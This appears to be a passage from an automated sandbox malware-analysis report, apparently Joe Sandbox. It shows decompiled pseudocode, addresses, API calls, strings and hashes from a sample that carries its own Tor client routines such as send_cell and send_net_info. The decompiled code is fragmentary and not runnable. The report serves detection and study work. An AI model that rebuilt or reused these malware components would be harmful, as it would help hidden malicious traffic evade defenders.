				asm("movdqa [ebp-0x51], xmm6");
				E00007FF67FF61D785C00(E00007FF67FF61D78480C( <  ? " (MSB set)" : 0x1d79391d, _t90 - 9, _t90 - 0x51), 0, _t69, __rcx, _t90 - 0x41, _t88);
				_t45 = E00007FF67FF61D78A86C( <  ? " (MSB set)" : 0x1d79391d,  *_t102, _t67); // executed
				free(??);
				free(??);
				asm("inc ecx");
				return _t45;
			}

0x7ff61d785c58
0x7ff61d785c58
0x7ff61d785c58
0x7ff61d785c64
0x7ff61d785c68
0x7ff61d785c6f
0x7ff61d785c77
0x7ff61d785c7b
0x7ff61d785c7f
0x7ff61d785c83
0x7ff61d785c8a
0x7ff61d785c8d
0x7ff61d785c90
0x7ff61d785c93
0x7ff61d785c96
0x7ff61d785c9b
0x7ff61d785ca3
0x7ff61d785ca9
0x7ff61d785ca9
0x7ff61d785cad
0x7ff61d785cb5
0x7ff61d785cba
0x7ff61d785cbd
0x7ff61d785cbf
0x7ff61d785cc2
0x7ff61d785cc6
0x7ff61d785ccb
0x7ff61d785cd2
0x7ff61d785cd7
0x7ff61d785cdf
0x7ff61d785ce7
0x7ff61d785cec
0x7ff61d785cf4
0x7ff61d785cfc
0x7ff61d785d02
0x7ff61d785d04
0x7ff61d785d1b
0x7ff61d785d20
0x7ff61d785d25
0x7ff61d785d29
0x7ff61d785d45
0x7ff61d785d49
0x7ff61d785d4c
0x7ff61d785d51
0x7ff61d785d56
0x7ff61d785d5a
0x7ff61d785d5e
0x7ff61d785d63
0x7ff61d785d78
0x7ff61d785d7d
0x7ff61d785d82
0x7ff61d785d85
0x7ff61d785d8e
0x7ff61d785d9a
0x7ff61d785da0
0x7ff61d785da4
0x7ff61d785da8
0x7ff61d785dc2
0x7ff61d785dcd
0x7ff61d785dd7
0x7ff61d785de2
0x7ff61d785dfc
0x7ff61d785e0d

APIs

free.MSVCRT ref: 00007FF61D785DD7
free.MSVCRT ref: 00007FF61D785DE2

Strings

(MSB set), xrefs: 00007FF61D785D34
tor_socket::send_cell() [circuit: %i%s [%X], stream: %u, command: %i, relay_command: %i], xrefs: 00007FF61D785D68
circuit::send_relay_cell() attempt to send cell to non-existent stream-id: %u, xrefs: 00007FF61D785D08

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID: (MSB set)$circuit::send_relay_cell() attempt to send cell to non-existent stream-id: %u$tor_socket::send_cell() [circuit: %i%s [%X], stream: %u, command: %i, relay_command: %i]
API String ID: 1294909896-2545454300
Opcode ID: 3a62d081949aa48a17692cf202033cc799d1c47d60bf5df63a03372b5f1667a2
Instruction ID: 10638352b506fb24cab462bb42c626374967fac325bf721a6c9e47ee95213b62
Opcode Fuzzy Hash: 3a62d081949aa48a17692cf202033cc799d1c47d60bf5df63a03372b5f1667a2
Instruction Fuzzy Hash: DD51CD32A08E8195E710DF35E4005AD7370FB94BB8B055236EE5D93BA8EF38E54AD740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D7822AC Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?,00007FF61D782386), ref: 00007FF61D7822C5
CommandLineToArgvW.SHELL32(?,?,?,00007FF61D782386), ref: 00007FF61D7822D5
malloc.MSVCRT(?,?,?,00007FF61D782386), ref: 00007FF61D7822E9
malloc.MSVCRT(?,?,?,00007FF61D782386), ref: 00007FF61D78231D
wcstombs.MSVCRT ref: 00007FF61D78233E

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CommandLinemalloc$Argvwcstombs
String ID:
API String ID: 175250670-0
Opcode ID: 7bd239274c1dadc2965b861490938192b99a554aa4d210c54cef6918a09e441b
Instruction ID: 51639ba4f300c89d133ada44a180cd71dee1bbc52519309cd19d72c7101f8004
Opcode Fuzzy Hash: 7bd239274c1dadc2965b861490938192b99a554aa4d210c54cef6918a09e441b
Instruction Fuzzy Hash: 5C112932A08E8681E6088F15E9540687761FB44FF1B445232CAAED77B4EF3DE45AC300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78ABEC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 176
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00007FF67FF61D78ABEC(void* __ecx, void* __edi, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r9) {
				intOrPtr _t78;
				void* _t93;
				void* _t117;
				intOrPtr _t118;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t123;
				intOrPtr _t124;
				intOrPtr _t125;
				long long _t128;
				long long _t134;
				long long _t140;
				void* _t174;
				void* _t186;
				void* _t187;
				void* _t206;

				_t128 = __rbx;
				_t117 = _t187;
				_t186 = _t117 - 0x5f;
				 *((long long*)(_t186 - 9)) = 0xfffffffe;
				 *((long long*)(_t117 + 0x18)) = __rbx;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t78 = E00007FF67FF61D781720(0, __edi, 0x1d79d010, "tor_socket::send_net_info()\n", __r9);
				_t118 =  *__rcx;
				__imp__time();
				 *((intOrPtr*)(_t186 + 0x67)) = _t78;
				E00007FF67FF61D7825F4(_t118, _t186 - 0x29);
				_t134 =  *((intOrPtr*)(_t186 - 0x21));
				 *((long long*)(_t186 - 0x49)) = 0x1d793870;
				 *((long long*)(_t186 - 0x49)) = 0x1d793bd8;
				 *((long long*)(_t186 - 0x41)) = _t134;
				 *((long long*)(_t186 - 0x39)) =  *((intOrPtr*)(_t186 - 0x19));
				 *((long long*)(_t186 - 0x31)) = _t134;
				 *((long long*)(_t186 - 0x59)) = _t186 - 0x49;
				r15d = 1;
				 *((intOrPtr*)(_t186 - 0x51)) = r15d;
				E00007FF67FF61D7848B8(__rbx, _t186 - 0x59, _t186 + 0x67);
				 *((char*)(_t186 + 0x67)) = 4;
				_t121 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t121 + 0x40))();
				_t25 = _t121 - 1; // -1
				if (_t25 - 0xfffffffd > 0) goto 0x1d78acc5;
				if (_t174 + _t121 - _t206 < 0) goto 0x1d78ac9b;
				 *((char*)(_t186 + 0x67)) = 4;
				_t122 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t122 + 0x40))();
				_t31 = _t122 - 1; // -1
				if (_t31 - 0xfffffffd > 0) goto 0x1d78acf6;
				if (_t128 + _t122 - _t206 < 0) goto 0x1d78accc;
				 *((intOrPtr*)(_t186 + 0x67)) =  *((intOrPtr*)(_t118 + 0x30));
				_t140 = _t128;
				 *((char*)(_t186 + _t140 + 0x6f)) =  *((intOrPtr*)(_t186 + 0x6a));
				if (_t140 + _t206 - 4 < 0) goto 0x1d78ad00;
				 *((intOrPtr*)(_t186 + 0x67)) =  *((intOrPtr*)(_t186 + 0x6f));
				E00007FF67FF61D7848B8(_t128, _t186 - 0x59, _t186 + 0x67);
				 *((intOrPtr*)(_t186 + 0x67)) = r15b;
				_t123 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t123 + 0x40))();
				_t45 = _t123 - 1; // -1
				if (_t45 - 0xfffffffd > 0) goto 0x1d78ad56;
				if (_t128 + _t123 - _t206 < 0) goto 0x1d78ad2c;
				 *((char*)(_t186 + 0x67)) = 4;
				_t124 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t124 + 0x40))();
				_t51 = _t124 - 1; // -1
				if (_t51 - 0xfffffffd > 0) goto 0x1d78ad87;
				if (_t128 + _t124 - _t206 < 0) goto 0x1d78ad5d;
				 *((char*)(_t186 + 0x67)) = 4;
				_t125 =  *((intOrPtr*)(_t186 - 0x49));
				 *((intOrPtr*)(_t125 + 0x40))();
				_t57 = _t125 - 1; // -1
				if (_t57 - 0xfffffffd > 0) goto 0x1d78adb8;
				if (_t128 + _t125 - _t206 < 0) goto 0x1d78ad8e;
				 *((intOrPtr*)(_t186 + 0x67)) = 0;
				 *((char*)(_t186 + _t128 + 0x6f)) =  *((intOrPtr*)(_t186 + 0x6a));
				if (_t128 + _t206 - 4 < 0) goto 0x1d78adbf;
				 *((intOrPtr*)(_t186 + 0x67)) =  *((intOrPtr*)(_t186 + 0x6f));
				E00007FF67FF61D7848B8(_t128 + _t206, _t186 - 0x59, _t186 + 0x67);
				 *((long long*)(_t186 - 0x59)) =  *((intOrPtr*)(_t186 - 0x21));
				 *((long long*)(_t186 - 0x51)) =  *((intOrPtr*)(_t186 - 0x19));
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				r8b = 8;
				E00007FF67FF61D7845C0(0, _t186 - 1);
				_t93 = E00007FF67FF61D78A86C( *((intOrPtr*)(_t186 - 0x19)), __rcx,  *((intOrPtr*)(_t186 - 0x19))); // executed
				free(??);
				 *((long long*)(_t186 - 0x49)) = 0x1d793870;
				free(??);
				return _t93;
			}

0x7ff61d78abec
0x7ff61d78abec
0x7ff61d78abf7
0x7ff61d78ac02
0x7ff61d78ac0a
0x7ff61d78ac0e
0x7ff61d78ac25
0x7ff61d78ac2a
0x7ff61d78ac32
0x7ff61d78ac38
0x7ff61d78ac44
0x7ff61d78ac4a
0x7ff61d78ac59
0x7ff61d78ac64
0x7ff61d78ac68
0x7ff61d78ac6c
0x7ff61d78ac70
0x7ff61d78ac78
0x7ff61d78ac7c
0x7ff61d78ac82
0x7ff61d78ac8e
0x7ff61d78ac93
0x7ff61d78ac9b
0x7ff61d78acb0
0x7ff61d78acb3
0x7ff61d78acbb
0x7ff61d78acc3
0x7ff61d78acc5
0x7ff61d78accc
0x7ff61d78ace1
0x7ff61d78ace4
0x7ff61d78acec
0x7ff61d78acf4
0x7ff61d78acf6
0x7ff61d78acf9
0x7ff61d78ad02
0x7ff61d78ad10
0x7ff61d78ad15
0x7ff61d78ad20
0x7ff61d78ad25
0x7ff61d78ad2c
0x7ff61d78ad41
0x7ff61d78ad44
0x7ff61d78ad4c
0x7ff61d78ad54
0x7ff61d78ad56
0x7ff61d78ad5d
0x7ff61d78ad72
0x7ff61d78ad75
0x7ff61d78ad7d
0x7ff61d78ad85
0x7ff61d78ad87
0x7ff61d78ad8e
0x7ff61d78ada3
0x7ff61d78ada6
0x7ff61d78adae
0x7ff61d78adb6
0x7ff61d78adb8
0x7ff61d78adc1
0x7ff61d78adcf
0x7ff61d78add4
0x7ff61d78addf
0x7ff61d78ade8
0x7ff61d78adf0
0x7ff61d78adf4
0x7ff61d78adf8
0x7ff61d78ae01
0x7ff61d78ae0a
0x7ff61d78ae16
0x7ff61d78ae20
0x7ff61d78ae27
0x7ff61d78ae2f
0x7ff61d78ae50

APIs

Part of subcall function 00007FF61D781720: GetCurrentThreadId.KERNEL32 ref: 00007FF61D781743
Part of subcall function 00007FF61D781720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF61D7888EE), ref: 00007FF61D781750
Part of subcall function 00007FF61D781720: _cwprintf_s_l.LIBCMT ref: 00007FF61D781791

time.MSVCRT ref: 00007FF61D78AC32
free.MSVCRT ref: 00007FF61D78AE20
free.MSVCRT ref: 00007FF61D78AE2F

Strings

tor_socket::send_net_info(), xrefs: 00007FF61D78AC15

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CurrentLocalThreadTime_cwprintf_s_ltime
String ID: tor_socket::send_net_info()
API String ID: 1526019956-2499986577
Opcode ID: d3ea10360ef9d9538663e9b615fa1eaa4fce9b7cfb6ff255f66f07d77ef17429
Instruction ID: f51aabe476170ab1309d519cb1033012b4cc711a76cd884cb6d684ffd2f9f22a
Opcode Fuzzy Hash: d3ea10360ef9d9538663e9b615fa1eaa4fce9b7cfb6ff255f66f07d77ef17429
Instruction Fuzzy Hash: 60713772B05E859AEB00DFB5D4481DC77B2EB44BB9B404666DF2DA7B98EE34E109C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D78DC14 Relevance: 6.5, APIs: 5, Instructions: 268
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00007FF67FF61D78DC14(void* __eflags, signed int __rbx, void* __rcx, void* __rdx, void* __r9) {
				void* __rsi;
				void* __rbp;
				void* _t154;
				void* _t156;
				void* _t177;
				signed long long _t182;
				signed long long _t187;
				signed int _t192;
				signed long long _t195;
				signed int _t201;
				signed long long _t263;
				signed long long _t267;
				long long _t272;
				intOrPtr _t276;
				void* _t278;
				long long* _t279;
				void* _t280;
				void* _t281;
				long long _t287;
				signed long long _t288;
				void* _t290;
				intOrPtr _t291;
				intOrPtr _t293;

				_t290 = __r9;
				_t201 = __rbx;
				_t177 = _t280;
				_t279 = _t177 - 0x118;
				_t281 = _t280 - 0x1f0;
				 *((long long*)(_t279 + 0x50)) = 0xfffffffe;
				 *((long long*)(_t177 + 8)) = __rbx;
				asm("movaps [eax-0x38], xmm6");
				_t278 = __rcx;
				 *(_t281 + 0x30) =  *(_t281 + 0x30) & 0x00000000;
				E00007FF67FF61D781BA8(_t177, _t279 - 0x70);
				 *(_t281 + 0x30) = 1;
				 *((long long*)(_t281 + 0x40)) = "\n";
				 *((long long*)(_t281 + 0x48)) = 0x1d7937f1;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [ebp-0x80], xmm0");
				E00007FF67FF61D781C90(_t177, _t279 + 0x58); // executed
				 *(_t281 + 0x30) = 1;
				E00007FF67FF61D781BDC(0, _t279 - 0x70);
				 *(_t281 + 0x60) =  *(_t281 + 0x60) & __rbx;
				 *(_t281 + 0x68) =  *(_t281 + 0x68) & __rbx;
				 *(_t281 + 0x70) =  *(_t281 + 0x70) & __rbx;
				_t276 =  *((intOrPtr*)(_t279 + 0x60));
				_t293 =  *((intOrPtr*)(_t279 + 0x68));
				if (_t276 == _t293) goto 0x1d78e086;
				 *((long long*)(_t281 + 0x40)) = 0x1d7953a8;
				 *((long long*)(_t281 + 0x48)) = 0x1d7953a9;
				_t25 = _t201 + 4; // 0x4
				r13d = _t25;
				asm("movaps xmm6, [esp+0x40]");
				asm("movdqa [esp+0x20], xmm6");
				E00007FF67FF61D781C90(_t276, _t279 - 0x70);
				_t291 =  *((intOrPtr*)(_t279 - 0x68));
				if (( *((intOrPtr*)(_t279 - 0x60)) - _t291 & 0xffffffe0) == 0) goto 0x1d78e070;
				E00007FF67FF61D781E74(_t291, _t281 + 0x54);
				E00007FF67FF61D781E74(_t276, _t279 + 0x128);
				if ( *((intOrPtr*)(_t279 + 0x128)) != 0xdd1c5811) goto 0x1d78dd4b;
				goto 0x1d78e070;
				E00007FF67FF61D781E74(_t276, _t279 + 0x130);
				if ( *((intOrPtr*)(_t279 + 0x130)) != 0xdb1c53e7) goto 0x1d78dd70;
				goto 0x1d78e070;
				E00007FF67FF61D781E74(_t276, _t279 + 0x138);
				if ( *((intOrPtr*)(_t279 + 0x138)) != 0xdd1c8579) goto 0x1d78dda6;
				if (3 != 1) goto 0x1d78dd9a;
				goto 0x1d78e070;
				_t161 =  ==  ? r13d : 2;
				goto 0x1d78e070;
				_t263 = _t281 + 0x50;
				E00007FF67FF61D781E74(_t276, _t263);
				if ( *((intOrPtr*)(_t281 + 0x50)) != 0xd51c94bd) goto 0x1d78df6d;
				if (2 != 2) goto 0x1d78de8d;
				_t287 =  *(_t281 + 0x60);
				_t182 =  *(_t281 + 0x68) - _t287 - 1;
				asm("dec eax");
				 *((long long*)(_t281 + 0x40)) = _t287;
				 *((long long*)(_t281 + 0x48)) = (_t263 & _t182) + _t287;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF67FF61D7824D8(2 - 2, __rbx, _t279 + 0x78, _t281 + 0x20, _t290, _t291);
				 *((long long*)(_t279 + 0x10)) =  *((intOrPtr*)(_t182 + 8));
				 *((long long*)(_t279 + 0x18)) =  *((intOrPtr*)(_t182 + 0x10));
				asm("movaps xmm0, [ebp+0x10]");
				asm("movdqa [esp+0x20], xmm0");
				_t267 = _t281 + 0x20;
				E00007FF67FF61D78480C( *((intOrPtr*)(_t182 + 8)), _t279 - 0x50, _t267);
				 *((long long*)(_t278 + 0x90)) =  *((intOrPtr*)(_t279 - 0x48));
				 *((long long*)(_t279 - 0x48)) =  *((intOrPtr*)(_t278 + 0x90));
				 *((long long*)(_t278 + 0x98)) =  *((intOrPtr*)(_t279 - 0x40));
				 *((long long*)(_t279 - 0x40)) =  *((intOrPtr*)(_t278 + 0x98));
				 *((long long*)(_t278 + 0xa0)) =  *((intOrPtr*)(_t279 - 0x38));
				 *((long long*)(_t279 - 0x38)) =  *((intOrPtr*)(_t278 + 0xa0));
				free(??);
				goto 0x1d78df54;
				_t173 = ( ==  ? r13d : 2) - r13d;
				if (( ==  ? r13d : 2) != r13d) goto 0x1d78df5a;
				_t288 =  *(_t281 + 0x60);
				_t187 =  *(_t281 + 0x68) - _t288 - 1;
				asm("dec eax");
				 *(_t279 + 0x20) = _t288;
				 *((long long*)(_t279 + 0x28)) = (_t267 & _t187) + _t288;
				asm("movaps xmm0, [ebp+0x20]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF67FF61D7824D8(( ==  ? r13d : 2) - r13d, _t201, _t279 + 0x98, _t281 + 0x20, _t290, _t291);
				 *((long long*)(_t279 + 0x30)) =  *((intOrPtr*)(_t187 + 8));
				 *((long long*)(_t279 + 0x38)) =  *((intOrPtr*)(_t187 + 0x10));
				asm("movaps xmm0, [ebp+0x30]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF67FF61D78480C( *((intOrPtr*)(_t187 + 8)), _t279 - 0x30, _t281 + 0x20);
				 *((long long*)(_t278 + 0xb0)) =  *((intOrPtr*)(_t279 - 0x28));
				 *((long long*)(_t279 - 0x28)) =  *((intOrPtr*)(_t278 + 0xb0));
				 *((long long*)(_t278 + 0xb8)) =  *((intOrPtr*)(_t279 - 0x20));
				 *((long long*)(_t279 - 0x20)) =  *((intOrPtr*)(_t278 + 0xb8));
				 *((long long*)(_t278 + 0xc0)) =  *((intOrPtr*)(_t279 - 0x18));
				 *((long long*)(_t279 - 0x18)) =  *((intOrPtr*)(_t278 + 0xc0));
				free(??);
				free(??);
				_t192 =  *(_t281 + 0x60);
				 *(_t281 + 0x68) = _t192;
				 *_t192 = 0;
				goto 0x1d78e070;
				_t97 = _t201 - 2; // -2
				if ((_t97 & 0xfffffffd) == 0) goto 0x1d78e04d;
				if ( *((intOrPtr*)(_t281 + 0x54)) != 0xf61c1b2c) goto 0x1d78e070;
				_t272 =  *((intOrPtr*)(_t291 + 0x28));
				_t103 =  *((intOrPtr*)(_t291 + 0x30)) - _t272 - 1; // 0x7ff61d78238a
				_t195 =  ~( *((intOrPtr*)(_t291 + 0x30)) - _t272);
				asm("dec eax");
				 *((long long*)(_t279 + 0x40)) = _t272;
				 *((long long*)(_t279 + 0x48)) = (_t103 & _t195) + _t272;
				asm("movaps xmm0, [ebp+0x40]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF67FF61D7824D8( *((intOrPtr*)(_t281 + 0x54)) - 0xf61c1b2c, _t201, _t279 + 0xb8, _t281 + 0x20, _t290, _t291);
				 *((long long*)(_t279 - 0x80)) =  *((intOrPtr*)(_t195 + 8));
				 *((long long*)(_t279 - 0x78)) =  *((intOrPtr*)(_t195 + 0x10));
				asm("movaps xmm0, [ebp-0x80]");
				asm("movdqa [esp+0x20], xmm0");
				E00007FF67FF61D78480C( *((intOrPtr*)(_t195 + 8)), _t279 - 0x10, _t281 + 0x20);
				 *((long long*)(_t278 + 0xd0)) =  *((intOrPtr*)(_t279 - 8));
				 *((long long*)(_t279 - 8)) =  *((intOrPtr*)(_t278 + 0xd0));
				 *((long long*)(_t278 + 0xd8)) =  *_t279;
				 *_t279 =  *((intOrPtr*)(_t278 + 0xd8));
				 *((long long*)(_t278 + 0xe0)) =  *((intOrPtr*)(_t279 + 8));
				 *((long long*)(_t279 + 8)) =  *((intOrPtr*)(_t278 + 0xe0));
				free(??);
				free(??);
				goto 0x1d78e070;
				_t128 =  *((intOrPtr*)(_t276 + 0x10)) -  *((intOrPtr*)(_t276 + 8)) - 1; // 0xdd1c5810
				asm("dec ebp");
				E00007FF67FF61D781D58(_t201, _t281 + 0x58,  *((intOrPtr*)(_t276 + 8)), _t278, _t279, _t288 & _t128);
				_t154 = E00007FF67FF61D781F00(_t201, _t279 - 0x70, _t278);
				if (_t276 + 0x20 != _t293) goto 0x1d78dcea;
				E00007FF67FF61D781BDC(_t154, _t281 + 0x58);
				_t156 = E00007FF67FF61D781F00(_t201, _t279 + 0x58, _t278);
				asm("inc ecx");
				return _t156;
			}

0x7ff61d78dc14
0x7ff61d78dc14
0x7ff61d78dc14
0x7ff61d78dc1e
0x7ff61d78dc25
0x7ff61d78dc2c
0x7ff61d78dc34
0x7ff61d78dc38
0x7ff61d78dc3c
0x7ff61d78dc3f
0x7ff61d78dc52
0x7ff61d78dc57
0x7ff61d78dc66
0x7ff61d78dc72
0x7ff61d78dc77
0x7ff61d78dc7c
0x7ff61d78dc8c
0x7ff61d78dc9a
0x7ff61d78dca2
0x7ff61d78dca9
0x7ff61d78dcae
0x7ff61d78dcb3
0x7ff61d78dcb8
0x7ff61d78dcbc
0x7ff61d78dcc3
0x7ff61d78dcd0
0x7ff61d78dcdc
0x7ff61d78dce1
0x7ff61d78dce1
0x7ff61d78dce5
0x7ff61d78dcea
0x7ff61d78dcfc
0x7ff61d78dd06
0x7ff61d78dd13
0x7ff61d78dd21
0x7ff61d78dd30
0x7ff61d78dd3f
0x7ff61d78dd46
0x7ff61d78dd55
0x7ff61d78dd64
0x7ff61d78dd6b
0x7ff61d78dd7a
0x7ff61d78dd89
0x7ff61d78dd8e
0x7ff61d78dd95
0x7ff61d78dd9d
0x7ff61d78dda1
0x7ff61d78dda6
0x7ff61d78ddae
0x7ff61d78ddbb
0x7ff61d78ddc4
0x7ff61d78ddcf
0x7ff61d78ddd7
0x7ff61d78ddde
0x7ff61d78dde7
0x7ff61d78ddec
0x7ff61d78ddf1
0x7ff61d78ddf6
0x7ff61d78de05
0x7ff61d78de13
0x7ff61d78de17
0x7ff61d78de1b
0x7ff61d78de1f
0x7ff61d78de25
0x7ff61d78de2e
0x7ff61d78de3f
0x7ff61d78de46
0x7ff61d78de55
0x7ff61d78de5c
0x7ff61d78de6b
0x7ff61d78de72
0x7ff61d78de7a
0x7ff61d78de88
0x7ff61d78de8d
0x7ff61d78de90
0x7ff61d78de9b
0x7ff61d78dea3
0x7ff61d78deaa
0x7ff61d78deb3
0x7ff61d78deb7
0x7ff61d78debb
0x7ff61d78debf
0x7ff61d78ded1
0x7ff61d78dedf
0x7ff61d78dee3
0x7ff61d78dee7
0x7ff61d78deeb
0x7ff61d78defa
0x7ff61d78df0b
0x7ff61d78df12
0x7ff61d78df21
0x7ff61d78df28
0x7ff61d78df37
0x7ff61d78df3e
0x7ff61d78df46
0x7ff61d78df54
0x7ff61d78df5c
0x7ff61d78df61
0x7ff61d78df66
0x7ff61d78df68
0x7ff61d78df6d
0x7ff61d78df75
0x7ff61d78df83
0x7ff61d78df89
0x7ff61d78df94
0x7ff61d78df98
0x7ff61d78df9b
0x7ff61d78dfa4
0x7ff61d78dfa8
0x7ff61d78dfac
0x7ff61d78dfb0
0x7ff61d78dfc2
0x7ff61d78dfd0
0x7ff61d78dfd4
0x7ff61d78dfd8
0x7ff61d78dfdc
0x7ff61d78dfeb
0x7ff61d78dffc
0x7ff61d78e003
0x7ff61d78e012
0x7ff61d78e019
0x7ff61d78e028
0x7ff61d78e02f
0x7ff61d78e037
0x7ff61d78e045
0x7ff61d78e04b
0x7ff61d78e058
0x7ff61d78e05f
0x7ff61d78e06a
0x7ff61d78e074
0x7ff61d78e080
0x7ff61d78e08b
0x7ff61d78e095
0x7ff61d78e0a6
0x7ff61d78e0b5

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 56d9f2794f042df19aa6602f89448fffa02a6337cfb61386b6aa0e95d4e81ab7
Instruction ID: c66442fb272df9ed547c96e2c071d6223a1528986a5c9528fe832fcfa0be5c9f
Opcode Fuzzy Hash: 56d9f2794f042df19aa6602f89448fffa02a6337cfb61386b6aa0e95d4e81ab7
Instruction Fuzzy Hash: 4FD12F72618F8189EB10CF65E8812ED7374FB89BA8F505235EA9D93B58EF38D548C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61D786248 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF61D786248(void* __edx, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {
				void* __r14;
				void* _t11;
				void* _t17;
				void* _t22;
				void* _t24;
				intOrPtr* _t31;
				long long _t38;
				void* _t43;
				void* _t45;
				void* _t46;

				_t38 = __rsi;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t22 = __edx;
				_t31 = __rcx;
				r14d = GetTickCount();
				_t11 = E00007FF67FF61D78AF0C(_t17, _t24, __rcx,  *__rcx, __rdi, __rsi, _t43, _t46); // executed
				if (_t11 == 0) goto 0x1d7862b8;
				if ( *((intOrPtr*)(_t31 + 0xc)) == _t22) goto 0x1d7862b4;
				if ( *((intOrPtr*)(_t31 + 0xc)) == 5) goto 0x1d7862b8;
				if (_t46 + _t38 - GetTickCount() > 0) goto 0x1d78626e;
				E00007FF67FF61D781720(2, _t22, 0x1d79d010, "timeout\n", _t45);
				goto 0x1d7862bb;
				goto 0x1d7862bb;
				return 0xffffffff;
			}

0x7ff61d786248
0x7ff61d786248
0x7ff61d78624d
0x7ff61d786252
0x7ff61d786260
0x7ff61d786262
0x7ff61d78626b
0x7ff61d786271
0x7ff61d786278
0x7ff61d78627d
0x7ff61d786283
0x7ff61d786293
0x7ff61d7862a8
0x7ff61d7862b2
0x7ff61d7862b6
0x7ff61d7862d0

APIs

GetTickCount.KERNEL32 ref: 00007FF61D786265

Part of subcall function 00007FF61D78AF0C: free.MSVCRT ref: 00007FF61D78B102

GetTickCount.KERNEL32 ref: 00007FF61D786285

Strings

timeout, xrefs: 00007FF61D786295

Memory Dump Source

Source File: 00000000.00000002.655681816.00007FF61D781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF61D780000, based on PE: true

Associated: 00000000.00000002.655671292.00007FF61D780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655725774.00007FF61D793000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655757930.00007FF61D79D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.655767401.00007FF61D79E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff61d780000_SPXp2YHDFz.jbxd

Similarity

API ID: CountTick$free
String ID: timeout
API String ID: 3830800293-743945614
Opcode ID: 1a972a96e72483270e8f6d9aa377eddd671f85c29f06e56263f49e34887d43c7
Instruction ID: e8c7049f37fefaca92728ef5ed9df4d768a1eb7e6eb13c3d9f3f7f6ba312817e
Opcode Fuzzy Hash: 1a972a96e72483270e8f6d9aa377eddd671f85c29f06e56263f49e34887d43c7
